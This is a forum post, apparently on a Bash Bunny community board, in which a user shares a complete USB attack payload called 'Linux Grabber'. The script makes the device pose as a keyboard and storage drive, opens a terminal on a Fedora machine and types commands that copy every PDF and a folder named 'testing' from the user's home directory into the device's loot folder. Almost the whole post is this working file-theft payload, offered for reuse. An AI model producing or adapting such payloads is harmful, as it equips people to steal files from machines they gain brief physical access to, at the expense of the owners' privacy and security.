Jump to content

[PAYLOAD] Linux Exfiltration


Am3ience

Recommended Posts

Hey guys,

Just made a simple file grabber for Linux, was built for Fedora distro, but is easily changed for other distros.

#!/bin/bash
#
# Title:         Linux Grabber
# Author:        am3ience
# Version:       1.0
#
# grabs specified files and folders on the user's directory and copies them to the bunny loot folder
#
#

LED SETUP
ATTACKMODE HID STORAGE

LED ATTACK
RUN UNITY gnome-terminal
Q DELAY 1000 
Q STRING export lootdir=/run/media/\$USER/BashBunny/loot/LinuxGrabber #export loot directory 
Q ENTER
Q STRING mkdir -p \$lootdir #make loot directory 
Q ENTER
# Find all PDFs stored in the user's file structure, and copy them over to the BashBunny storage.
Q STRING find . -name "*.pdf" -exec cp '{}' \$lootdir \\\;
Q ENTER 
Q DELAY 1000
# Find the 'testing' folder to copy 
Q STRING find . -type d -name 'testing' -exec cp -a '{}' \$lootdir \\\;
Q ENTER 
Q DELAY 1000 
Q STRING exit
Q ENTER 

# sync the filesystem
sync

LED FINISH 

 

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...